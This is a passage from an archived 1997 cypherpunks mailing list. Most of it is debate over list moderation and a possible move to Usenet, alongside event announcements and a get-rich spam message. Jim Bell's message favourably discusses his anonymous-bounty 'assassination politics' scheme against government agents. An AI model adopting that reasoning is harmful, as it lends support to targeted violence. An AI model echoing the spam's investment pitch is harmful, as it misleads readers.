the plug, at least for just a few days?

Unsubscribe everyone from all the lists, wait a bit, and then send a 
message to all of the subscribers with full info on each of the lists 
(cp, cp-unedited,cp-flames) and see what happens when they resubscribe. 

I bet that most of the people who don't post and don't care one way or 
the other wouldn't bother to resubscribe, so we'd have a higher ratio of 
people who mind if the list is moderated vs. those who'd be happy either 
way.  




Zach Babayco 

zachb@netcom.com <-------finger for PGP public key

If you need to know how to set up a mail filter or defend against 
emailbombs, send me a message with the words "get helpfile" (without the 
" marks) in the SUBJECT: header, *NOT THE BODY OF THE MESSAGE!*  I have 
several useful FAQs and documents available.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: announce@lists.zdnet.com
Date: Tue, 4 Feb 1997 19:31:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Announcing ZDNet Exclusives!
Message-ID: <JOB.3.zd.0.announce.0.text.zdbuild.18542.02041997185358.190990@tahiti.merc.com>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------
ZDNET ANNOUNCEMENT          2/3/97
---------------------------------------------------------

Greetings from ZDNet!

We're pleased to announce a FREE gift to our 
loyal community of Web users:  the launch of
ZDNet Exclusives, the Web's first FREE collection 
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   Executive Editor
   The ZDNet Software Library

________________________________________________      

ZDNet Announcements are periodic notices of new features,
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--To subscribe to ZDNet Announcements, please send mail to:
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 4 Feb 1997 18:05:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Harvard Symposium
Message-ID: <v03007816af1d94f61508@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Mime-Version: 1.0
Date: Tue, 4 Feb 1997 15:10:17 -0800
From: jmuller@brobeck.com (John D. Muller)
Subject: Harvard Symposium
To: rah@shipwright.com

        Bob:  I don't recall seeing this on e$pam and thought it might be
     of interest.  What with the Boston connection, it's clearly a
     dcsb-worthy item, and I'll send it to them separately.


______________________________ Forward Header
__________________________________
Subject: [NET-LAWYERS] HARVARD JOURNAL OF LAW & TECHNOLOGY
Author:  "K. Dueker" <kdueker@LAW.HARVARD.EDU> at internet
Date:    2/4/97 1:00 AM


[CROSS-POSTED; PLEASE FORGIVE DUPLICATION]

PRESS RELEASE

Symposium:  Crime & Technology
Law Enforcement Technology % Cybercrime % Electronic Commerce

(Cambridge, Massachusetts) - The Harvard Journal of Law & Technology is
pleased to announce its Spring Symposium: "Crime & Technology."  The
Symposium will be held Saturday, March 15, 1997, in the Ames Courtroom at
the Harvard Law School in Cambridge, MA.

The Symposium will consist of two moderated panel discussions, as well as
several presentations.  The morning session is expected to focus on
"Search, Seizure, and Surveillance Technology," while the afternoon session
will focus on "The Risks of Electronic Banking & Commerce."

Admission to the Symposium is free to all Harvard affiliates (with valid
Harvard ID), $15 for all other students, $30 for public sector
professionals, and $100 for private sector professionals.

The Spring Issue of the Journal will include articles covering the broad
topic of "Crime and Technology."

For additional information about the Symposium or the Journal, contact
Symposium Editor Belinda Juran, by e-mail at juran@law.harvard.edu, or by
phone at the Harvard Journal of Law & Technology offices at
617-495-3606 or 617-493-7949.


ABOUT THE JOURNAL:
The Harvard Journal of Law & Technology is a leading scholarly
publication for articles addressing the many diverse interstices of
science and technology with law and society.  We have published articles
by law professors, practitioners, business leaders, and politicians on
varied topics including biotechnology, computers, international trade,
technology transfer, intellectual property, medical technologies, and
telecommunications. These and other subjects are some of the most
exciting and rapidly developing areas of the law, and we believe that the
dialogue provided by the Harvard Journal of Law & Technology will help to
shape the future of this important field.  We welcome submissions of
articles, case comments, or book reviews addressing the relationship of
law and technology.



SUBSCRIPTION INFORMATION:
For additional information, please contact the Journal at the address
below.  The Journal publishes three issues each year. To subscribe to the
Journal's upcoming issues in Volume 10,  please send the Journal a check
for U.S. $45.00 (foreign orders $50.00) to the address below.  To obtain
the issue discussed above or back issues, please send the Journal a check
for $35.00 with a note indicating the desired issue (i.e., "Vol. 9 No. 2").

Media Contact:  Kenneth S. Dueker, Communications Editor
Release Date:  February 04, 1997.

*************************************************************************

              Harvard Journal of Law & Technology
              Publications Center
              Harvard Law School
              Cambridge, MA 02138


              Telephone: (617) 495-3606

              E-Mail:  jolt@law.harvard.edu
              WWW:  http://www.law.harvard.edu/home/jolt/

*************************************************************************




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 65188000@22151.com
Date: Sat, 14 Jun 1997 23:09:28 -0700 (PDT)
To: prospect@thisaddress
Subject: PLEASE DON'T PASS THIS UP
Message-ID: <199702170025.GAA08056@lconn.net>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>

NEW ON THE NET.

Wouldn't you have liked to have been part of the first group to join Amway in the 60s, or purchased stock from a small company called Wal-Mart in the 70s, or invested in a small computer chip maker called Intel in the 80s.

Anybody that made the choices above are sitting pretty well at the moment
Here in the 90s, a new company was launched on the Internet, Sunday June 1st  This young company has positioned itself to be among the major players for years to come.

This is NOT a get rich quick scheme.
This is simply a new company, with fresh ideas.  A a new company that people
are going to hear a lot about.

If you would like to become a part of all the excitement, and learn more,
simply send a blank e-mail to success02@megd.com
Please put the words "MORE INFO" in the subject field.  You will be sent
complete info in seconds

THIS IS TRULY A COMPANY AHEAD OF IT'S TIME.

Thank You For Your Time.

Just send a blank e-mail to success02@megd.com for a fast reply


</FONT><FONT  COLOR="#000000" SIZE=3>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 20:52:38 -0800 (PST)
To: "Z.B." <zachb@netcom.com>
Subject: Re: Moderation, Tim, Sandy, me, etc * Reputation Capital
In-Reply-To: <Pine.3.89.9702042032.A19217-0100000@netcom18>
Message-ID: <32F811C3.60D5@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Z.B. wrote:
> On Wed, 5 Feb 1997, Name Withheld by Request wrote:
> > John Gilmore said:
> > >Perhaps at that point I should have shut down the list, as Lucky is
> > >now suggesting.  "Asking the list what to do" was clearly not a useful
> > >option.  Sandy cared enough about the community to make some concrete

> > Not a useful option? Why not? If there aren't any ideas left in this
> > community, I'm with Lucky. Pull the plug.

On the below:  Remember in "I, Mudd" where the Captain said to Rodney
the Robot: "I'm lying - everything I say is a lie".  And the robot
collapses because it is not programmed to handle such blatant acts
of sabotage of reality.

Humans OTOH, and particular those who do odd jobs for the CIA (you
know, the ones who make those little "excursions" to Nepal and Burma),
have no problem with this, since their reality doesn't even intersect
with that of typical mailing list readers.

What is Tim May really mad about?  What he says he's mad about?
I don't think so.  The scam ran past him and he fell off of the
truck.  Tsk tsk.

> I've been meaning to ask this for a while...but why *don't* we just pull
> the plug, at least for just a few days?
> Unsubscribe everyone from all the lists, wait a bit, and then send a
> message to all of the subscribers with full info on each of the lists
> (cp, cp-unedited,cp-flames) and see what happens when they resubscribe.
> I bet that most of the people who don't post and don't care one way or
> the other wouldn't bother to resubscribe, so we'd have a higher ratio of
> people who mind if the list is moderated vs. those who'd be happy either





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Tue, 4 Feb 1997 13:59:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Are cypher punks capable?
Message-ID: <19970204205702.11975.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


Against Moderation wrote:
> In general, unsubscribing and resubscribing to a mailing list is not
> completely trivial.

Do you think that a cypher punk is not able to solve these problems?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 4 Feb 1997 20:58:31 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: More on Cellular Encryption Docs
Message-ID: <199702050458.UAA05351@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:31 PM 2/1/97 -0800, Bill Stewart wrote:
>At 04:10 PM 2/1/97 -0500, John Young wrote:
>>Here's more on the controlled documents for cellular encryption
>>from TIA/EIA we described in a 26 January post to cpunks:
>...
>>   TR45.0.A
>>   Common Cryptographic Algorithms, Revision B
>>   June 21, 1995, 72 pp. (With ITAR notice on every page)
>
>Of course, ITAR as recently modified says it's ok to send this
>stuff overseas to foreigners, as long as it's on paper.
>There may be separate restrictions on sending it, or on copying,
>but they're based on copyright or contractual non-disclosure.

Given that high-density inkjet printers can do 600x600 dpi resolution, it 
should be possible to achieve the equivalent of 100x100 bpi of 
easily-recoverable data on ordinary paper.  That's about 800 kilobits, or 
100 kilobytes.   What does ITAR say about this?


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 20:59:01 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Moderation [Tim,Sandy]
In-Reply-To: <R4wm2D31w165w@bwalk.dm.com>
Message-ID: <32F81349.6156@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Dale Thorn <dthorn@gte.net> writes:

> > The drunk can be excluded, but when someone wants to use the drunk as
> > an example to escalate the exclusion to other persons who are not in
> > fact drunk, watch out!

> If I get really really drunk, which happens very seldom, then I'm
> too drunk to post. I don't mind an occasional beer, though.

> Oksas, have you ever tried beer? :-)

I had my first beer(s) in three years at one of those industrial
parties last night.  It made the craps table action seem a bit
merrier, and the girls were friendlier too.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Tue, 4 Feb 1997 20:58:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
In-Reply-To: <199702050027.QAA08784@toad.com>
Message-ID: <v03101401af1dc1f4dc39@[207.67.246.99]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:05 PM -0800 2/4/97, aaron@herringn.com wrote:
>
>If I might make a suggestion:
>
>Some people want moderation. That's fine, I've never been very big on
>letting other people choose what I read, but some people want it.
>
>For those who want it, let someone moderate the list for as long as
>they care to do it. Approved messages get a "X-sandy-approved"
>header. The responsibility for setting up a filter to toss everything
>that doesn't have the header is the responsibility of the end user.
>Toad will need to filter incoming posts to make sure they don't come
>"pre-approved", but that's the only hole I can think of.
>
>Everyone gets all of the Cypherpunks list. Those who want moderation
>filter the unapproved posts, those who want all of it get all of it.
>
>Hopefully, this will make (almost) everyone happy.
>
I like this idea.
However, I would suggest an additional refinement:
	Implement a cypherpunks-moderated list which
is all the 'approved' messages. This way, people who wish
to have the benefits of a filtered list are happy, people who
wish to have posts rated for them (but be able to check on
the "rater") are happy, and people who wish to see every
message are happy.

(I know that John has concerns about toad's mail capacity,
and this may be too big a load)

ObCrypto policy:
	Was anyone else besides me amazed by the guy
from Deloitte-Touche at the Internet Privacy Coalition luncheon
last week? I mean, he all but advocated violent overthrow of
the government. D-T is the most "establishment" of the big-6
accounting firms, last time that I looked.

It's a weird world when we have a representative of a
company that makes a living advising people on how to
obey government regulations advocating civil disobedience.


-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

Warning: Objects in calendar are closer than they appear.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Tue, 4 Feb 1997 15:20:20 -0800 (PST)
To: John Gilmore <weidai@eskimo.com>
Subject: Re: John's: In anarchy -everyone responsible
In-Reply-To: <199702041421.GAA27742@toad.com>
Message-ID: <199702042320.QAA23879@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970204:0312 Greg Broiles <gbroiles@netbox.com> said:

+   Are mailing lists an example of "public goods" where private 
+   ownership is impossible, or should be avoided? ...

        yes, there is a requirement, even in a libertarian society, let 
    alone an anarchic society, for cooperation in the *commonweal[th]*.

        in otherwords, is there even such a social state as true 
    anarchy? (given the residents of planet earth, I doubt it.)

+   Is the desire for an anarchic community at odds with a desire for 
+   good use of resources?

        the individual desire for anarchy must exclude common human 
    "pride" and greed. true anarchy is poorly defined and understood by 
    most advocates.  

        the absolute need for common resources negates anarchy in the 
    popularly defined "description" of anarchy, solely because the 
    issue of community "responsibility" is in opposition to the 
    perceived: 'I can do anything I want.'

        In a "popular" anarchy, Jim Bell's assassination politics make
    perfectly good sense; but, a "popular" anarchy is not an _anarchy_.

on or about 970204:0621 John Gilmore <gnu@toad.com> said:

+   In an anarchy, *everyone* is responsible; 
+     nothing is "somebody else's job". 

        Bingo! John's statement is the absolute bottom line!

        e.g.-  if you are walking down the street with thousands of 
    other people and you see a piece of trash (which obviously was 
    tossed by an obviously imperfect anarchist), _you_ pick the trash 
    up and place it in a waste container.  _you_ -not someone else who     
    is shirking _their_ common responsibility.

        anarchy is _not_ living on a desert island surrounded by piles 
    of McDonald's wrappers and empty coke cans. that is an individual 
    who elected to "escape" both society and {him,her}self.

        anarchy is only possible in an ideal world where _everyone_ 
    assumes not only responsibility for themselves, but for the common 
    good.  no malice, no greed, no need for assassination politics....

        John's quote from Booker T. is precisely the point:

            ...now that they were in actual possession of it, freedom 
            was a more serious thing than they had expected to find it.

    or maybe Bobbie McGee: "freedom is just nothing else to lose..."
    (BTW, written by a Rhodes Scholar)

    --
    attila out (for the moment)

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@veriweb.com>
Date: Tue, 4 Feb 1997 21:08:52 -0800 (PST)
To: aba@dcs.ex.ac.uk
Subject: Re: "alt.cypherpunks" people?
In-Reply-To: <199702050029.QAA08873@toad.com>
Message-ID: <199702050508.VAA20092@descartes.veriweb.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


> John Gilmore urges action, or piping down... well lets start with
> discussion of whether one possible action is appropriate, and useful
> (piping down is not an option:-):
> 
> What do people think of starting an alt.cypherpunks USENET newsgroup?

As an additional forum, it's not a bad idea, with the exception that it
may draw some people away from the mailing list, and reduce the already-
slim signal on the list.

USENET is less accessible than email, and given the goals of cypherpunks,
the more accessible the medium the better. I have crap news access 99%
of the time, and I imagine a significant portion of the list is in a
similar situation. Also, the tools for news reading are not well-suited
for filtering, either manual or automatic.

>  3. USENET distribution is likely less efficient of overall bandwidth
> 
>  4. News propogation times are often poor (Exeter univ. receives news
>     about a week late) This is a real killer in my view.  I have
>     another news server I can access at the moment, but not everyone
>     may have access to a reasonable news server.
> 
>  5. News access is more complex for some people.  Some alt newsgroups
>     are not carried by some servers.  Perhaps news-to-mail and
>     mail-to-news gateway would solve these problems.

These 3 are fatal IMO. The distribution of cypherpunks would become
much more haphazard and might fail altogether in places. Some people
will be reading long threads days after they are dead.

> Coderpunks is a reasonable list, I'm not sure that it is moderated as
> such, but if you breach etiquette (discussion of politics, even when
> perpetrated by respected cryptographers, or by people discussing the
> implications of breaking DES, rather than the strict coding questions)
> they get Futplex-grams, which I find slightly annoying.
> 
> Cryptography@c2.net is again reasonable, and gained back some of the
> original people who quit cypherpunks over the years due to noise.
> Cryptography is moderated.  (Or is moderated when Perry thinks it
> would benefit from moderation, so that may change).

Agreed. These lists _are_ the alternative to the "open" cypherpunks list.

If a moderated cypherpunks is to be started, great, but it should be
another list, not _the_ cypherpunks list. Moderation, even with the best
intentions, is subjective, and therefore has no place on a list such
as cypherpunks.

If this is really an experiment, at the end of the month the list should
become unmoderated, and a moderated list created. Then we can see how many
people switch in that direction. I imagine it would be a similar number
to those that switched to the unedited list.

> What's left is attempting to stop government restrictions and backdoors,
> and deploying the many complex peices of software for which there exists
> uses and demands.

There is still much to be done. The cypherpunks list has plenty of reason
for being. As is, it 1) is still used as a forum for good discussion, 
despite the noise, and 2) is an invaluable resource for information 
retrieval and dispersal. The list should not be killed or moved IMO, 
and moderation should occur on other lists, not the main one.

- -- 
=-----------------------------------------------------------------------= 
Jeremey Barrett                                  VeriWeb Internet Corp.
Senior Software Engineer                         http://www.veriweb.com/

PGP Key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64
=-----------------------------------------------------------------------=

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 4 Feb 1997 21:10:50 -0800 (PST)
To: Steve Schear <roach_s@alph.swosu.edu>
Subject: RE: Fighting the cybercensor
Message-ID: <199702050510.VAA06865@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:15 PM 1/28/97 -0800, Steve Schear wrote:
>>The poor can not hope to match the tyrants bid as they only have 10% of the
>>wealth, the household knows that thier participation in an attempt on the
>>tyrant will get them killed.  Even if the attempt was successful.
>>The people from the outside who would benefit from the bounty benefit more
>>by taking the tyrants offer and then trying again, i.e. tiger teams.
>
>I think a hole in your thinking is to assume that the assasins have no
>motive other than financial gain.  I would submit that there are those that
>have the skills, training and a political agenda coherent with the
>wagerers, lacking only the financial incentive to make the risks
>acceptable.  These wetworkers won't consider accepting the bribe of the
>rich/powerful


In practice, we can't hold out much hope that donations to an AP system from 
"rich and powerful" people can be identified as such.  After all, with the 
appropriate software I could just as easily make 100, $10 donations as a 
single $1000 donation.  Assuming anonymity held, nobody but the donor knows 
from where the money came.

However, fortunately I don't think it would make any difference in the 
overall effects.    While AP would eliminate the taxation which is commonly 
thought of as the main way a "rich person" loses assets, in practice it 
would also shut down the well-hidden systems that allow some people to get 
rich (or, merely live off somebody else) "unfairly."   Government agents 
come to mind, of course.



Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Tue, 4 Feb 1997 18:38:06 -0800 (PST)
To: cypherpunks mailing list <cypherpunks@toad.com>
Subject: Silly Americans
Message-ID: <3.0.1.32.19970204213710.009681e0@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


________________________ R i c k   O s b o r n e ________________________
I was reading through the news when I stumbled across a thread that made a
very good point.  The original poster was talking about the UniSys GIF
patent, and this was the reply:

>Broaden your view. I can do anything I want with the GIF format without
>asking _anyone_, and so can almost everyone in the world - except those
>poor americans who chose to live under a "broken" patent law which
>allows protecting _algorithms_. Totally silly.

It brings up an interesting point, especially when applied to ITAR/EAR.  On
a philosophical note, why *do* we allow the government to regulate
algorithms?  (Implementations, I can understand, but *algorithms*?)
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
"A poem: a story in meter or rhyme."
'Ahh. `There once was a man from Nantucket ... `'
"You've been talking to Garibaldi again, haven't you?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pdh@best.com (Peter Hendrickson)
Date: Tue, 4 Feb 1997 21:57:58 -0800 (PST)
To: Declan McCullagh <aba@dcs.ex.ac.uk>
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <v02140b08af1dc0012484@[206.184.194.36]>
MIME-Version: 1.0
Content-Type: text/plain


At 6:22 PM 2/4/1997, Declan McCullagh wrote:
> What Vulis and the rest (whom I killfiled long ago) have done is polluted a
> common resource, making it unusable for the rest. It's the tragedy of the
> commons. When all can speak without limit in a public forum, the drunken
> boor can shout everyone else down.

I think this analogy is inappropriate for modern communications
forums.

Mailing lists have the wonderful property that the drunken boor
cannot shout everyone else down.  This is what is so great about
the Net.  It is trivial to filter the drunken boor.  This cannot
be done in a crowded auditorium.

Another neat property is the fact that people can't interrupt
each other and everybody can "talk" at once.

Peter Hendrickson
pdh@best.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Banisar <banisar@epic.org>
Date: Tue, 4 Feb 1997 19:02:06 -0800 (PST)
To: misc@epic.org
Subject: Panel - Copyright and the Net: Is Legislation the Answer?
Message-ID: <v03010d03af1da77b7c75@[204.91.138.84]>
MIME-Version: 1.0
Content-Type: text/plain



         Copyright and the Net: Is Legislation the Answer?

                ACM97: The Next 50 Years of Computing
                  Sunday March 2   2:00 PM - 5:00 PM
                   Fairmont Hotel     San Jose, CA

      Sponsored by the U.S. Public Policy Committee of ACM (USACM)


Panelists: Hank Barry, Pam Samuelson, Mark Stefik, Gio Wiederhold
Moderator: Barbara Simons, Chair, USACM


  o What is the role of copyright in all-electronic publication world?
  Will it be replaced by contract law?

  o Can the needs of authors who want to publish for renown (academics) and
  authors that want to publish for pay (entertainment etc) be handled in one
  mechanism?

  o Should browsing on the World Wide Web of full copyrighted texts be made
  illegal because people make temporary copies in their computer's memory
  when they look at a web page?

  o Should online service providers, including libraries and universities,
  have to monitor user accounts in order to enforce copyright laws?

  o Should firms that compile data have intellectual property rights so
  that scientists and news reporters can't use the data without permission
  or payments?

  o How should existing differences in national copyright be handled in a
  networked world where national boundaries and are little more than a
  speedbump on the information superhighway?

  o Does technological protection for copyrighted works inherently undermine
  fair use ?


These and related issues will confront the 105th Congress in the coming year.
They will also be examined by this panel, which will discuss controversies
surrounding the extension of copyright law to deal with cyberspace.
Examples include: How does proposed legislation reflect the net?
How much influence have lobbyists for the entertainment industry had
in writing legislation?  What should be the role of professional
societies in analyzing policy initiatives?

We will discussed legislation and international treaties that
have been proposed by the White House.  We will also examine both
technical and legal approaches to problems created by the net,
as well as how various approaches might impact the
science, technology, and business communities.

A significant amount of time will be allowed for audience
interaction in the discussion.



              Biographical sketches


Hank Barry is member of the firm of Wilson Sonsini Goodrich & Rosati
and is Chairman of the firm's Interactive New Media practice group.
He represents publicly and privately-held companies in the multimedia,
software, computer, on-line and entertainment industries.  Hank has authored
numerous articles in the fields of venture capital, interactive
media and technology transactions. He currently serves on the
Editorial Board of the Cyberspace Lawyer.
Hank received his law degree in 1983 from Stanford University,
where he was managing editor of the Stanford Law Review.


Pamela Samuelson is a Professor at the University of California at Berkeley
where she holds a joint appointment at the School of Information Management
and Systems and in the School of Law.  She has written and spoken
extensively on the challenges posed by digital technologies for the law,
particularly in the field of intellectual property.  She is a Contributing
Editor of Communications of the ACM and a Fellow of the Electronic Frontier
Foundation.


Mark Stefik is a principal scientist at the Xerox Palo Alto Research
Center.  At Stanford University he received a Bachelor of Science degree in
mathematics in 1970 and a Ph.D. in computer science in 1980.  His current
research activities are in approaches for creating, protecting, and reusing
digital property.  Stefik is review editor for the international
journal "Artificial Intelligence" and has authored two books on
AI-related topics and a third book on the Internet.


Gio Wiederhold is a professor of Computer Science at Stanford
University, with courtesy appointments in Medicine and Electrical
Engineering.  His research focuses on large-scale software construction,
specifically applied to information systems, the protection
of their content, often using knowledge-based techniques.
Wiederhold has authored and coauthored more than 250 published papers
and reports on computing and medicine.  Wiederhold received a degree
in Aeronautical Engineering in Holland in 1957 and a Ph. D. in Medical
Information Science from the University of California at San Francisco
in 1976.  He has been elected fellow of the ACMI, the IEEE and the
ACM.  He currently serves on the ACM Publications Board,
focusing on the move to electronic publication.


Barbara Simons received her Ph.D. in Computer Science from U.C. Berkeley
in 1981.  She joined the Research Division of IBM in 1980;
she is currently working in IBM Global Services.
Simons is a Fellow of both the American Association for the Advancement
of Science (AAAS) and ACM.  In 1995 she was selected as one of 26 Internet
"Visionaries" by c|net, and in 1994 Open Computing included her in its list
of the top 100 women in computing.  She was awarded the 1992 CPSR Norbert
Wiener Award for Professional and Social Responsibility in Computing.
Simons founded and chairs USACM, the ACM U. S. Public Policy Committee.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: roy@sendai.scytale.com (Roy M. Silvernail)
Date: Tue, 4 Feb 1997 23:36:53 -0800 (PST)
To: gbroiles@netbox.com (Greg Broiles)
Subject: Re: Dissolving Choke Points
In-Reply-To: <199702041441.GAA28354@toad.com>
Message-ID: <970204.223430.9o6.rnr.w165w@sendai.scytale.com>
MIME-Version: 1.0
Content-Type: text


-----BEGIN PGP SIGNED MESSAGE-----

In list.cypherpunks, gbroiles@netbox.com writes:

> My mention of Usenet was somewhat tongue-in-cheek; I don't know if I'd bother
> with the list if it were moved to (or gated with) Usenet, as Usenet has
> become for the most part 100+ Mb/day of uselessness.

An obvious point.  But you go on to say...

> The good side I see to a move to Usenet is that it lets people use the
> comparatively better tools for managing messages
[...]

FWIW, I gate all my subscribed mailing lists to local newsgroups because
my newsreading tools are much better than my mailreading tools.

> The down side is that Usenet is more or less a sewer these days, and some of
> it's bound to spill over.

The unfiltered list already had spammers and flamers.  Would you expect
nore sewage, different sewage or a combination?
- -- 
           Roy M. Silvernail     [ ]     roy@scytale.com
DNRC Minister Plenipotentiary of All Things Confusing, Software Division
PGP Public Key fingerprint =  31 86 EC B9 DB 76 A7 54  13 0B 6A 6B CC 09 18 B6
      Key available from pubkey@scytale.com, which works now

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 4 Feb 1997 15:55:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: "alt.cypherpunks" people?
Message-ID: <199702042236.WAA00552@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



John Gilmore urges action, or piping down... well lets start with
discussion of whether one possible action is appropriate, and useful
(piping down is not an option:-):

What do people think of starting an alt.cypherpunks USENET newsgroup?

It has some advantages:

 1. It distributes the cost of information dispersal, rather than
    largely placeing the load on a single machine.

 2. Newsreading software typically includes threading, which is useful

 3. It avoids the issue of ownership, it is more anarchic.  There is
    no list or host owner to get prosecuted for copyright violations, 
    export law violations, libel etc.

 4. Automatically gets archived several places, and is searchable

 5. It will be unmoderated

And some disadvantages...

 1. Cross-posting in USENET is a problem, especially in alt newsgroups

 2. Commercial spam is a problem with newsgroups

 3. USENET distribution is likely less efficient of overall bandwidth

 4. News propogation times are often poor (Exeter univ. receives news
    about a week late) This is a real killer in my view.  I have
    another news server I can access at the moment, but not everyone
    may have access to a reasonable news server.

 5. News access is more complex for some people.  Some alt newsgroups
    are not carried by some servers.  Perhaps news-to-mail and
    mail-to-news gateway would solve these problems.

 6. Some have argued in the past on this topic that the mailing list
    medium is better because it is more exclusive, as it requires more
    technical competence, and an active enough interest to subscribe.
    This is an elitist argument.  Perhaps it is relevant though, if we
    are trying to maintain a mailing list where technical discussions on
    how to improve privacy are to take place.  I wouldn't call this
    attitude censorship though.

My overall feeling is that I prefer the faster turn around time of a
mailing list.  When interesting things were/are happening on the list
(netscape break, late breaking crypto news, and cypherpunks spin on
it), the fast turn around time was essential.  Being able to react
quickly to news items, and to organise technical projects rapidly is
one of the cypherpunks main advantages and attractions from my point
of view.

My view of moderation is that it is a huge amount of work for the
moderator, that it is hypocritical philosophically (we promote
anarchy, but in order to effectively promote anarchy, we reject
anarchy), that it breeds artificial social hierarchys, rather than
allowing posts and posters reputations to stand on their own merit.

I was happier with the strength of the philsophical standing of the
list prior to moderation.  Moderation hasn't improved the noise much
anyway.

Readers who have been reading for several years may understandably
wish to recapture the stimulating discourses, and lively community
feel to the list from the past.  Lists change, cypherpunks is a victim
of it's own success, media attention increased public awareness,
increased number of subscribers, and at the same time increased the
proportion of noisy off-topic posts.  Unfortunately the success of the
list, and the noise has resulted in some of those people who kept it
interesting leaving the list.

Coderpunks is a reasonable list, I'm not sure that it is moderated as
such, but if you breach etiquette (discussion of politics, even when
perpetrated by respected cryptographers, or by people discussing the
implications of breaking DES, rather than the strict coding questions)
they get Futplex-grams, which I find slightly annoying.

Cryptography@c2.net is again reasonable, and gained back some of the
original people who quit cypherpunks over the years due to noise.
Cryptography is moderated.  (Or is moderated when Perry thinks it
would benefit from moderation, so that may change).

Perhaps some of the lack of stimulating discussion is simply that the
ideas are no longer hot new ideas.  Most of the interesting technology
and it's implications have been discussed.

What's left is attempting to stop government restrictions and backdoors,
and deploying the many complex peices of software for which there exists
uses and demands.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lwjohnson@grill.sk.ca (Larry Johnson)
Date: Tue, 4 Feb 1997 21:00:14 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: John Gilmore / What a _Lamer_!
In-Reply-To: <199702041456.GAA28779@toad.com>
Message-ID: <32F82B66.12C9@grill.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore wrote:
> Tim, the Cypherpunks have chosen to follow Sandy's lead for this
> month.

I havent chosen nothing like that. 
I read all the stuff from all the messages from before modernation 
and since then and nobody got to choose nothing. You told them what
they were going to gwet and thats what they got.
Anybody that made it plain that they werent happy got thrown in the
trashcan and labled as being a flamer.

>  I'll admit I made it easy for them, but the results are
> conclusive.  There are 1311 addresses in the cypherpunks list today;
> 42 in the unedited list; and 19 in the flames list.

1311 addresses that you stole for your censored list.
Nobvody subscribved to cypherpunks-censored. You put them there cause
its you decided it was your list an dyou could put people where you
wanted even if they didnt like it.
My uncle calls it the cyperpunks-Auschwitz list. Thats what subdir
he keeps it in in his Dorks dir.

> The cypherpunks list was unusable
> for this kind of discussion, only a month ago.  It's usable now.

I could use it before and Im just a kid but Im not a lamer. 
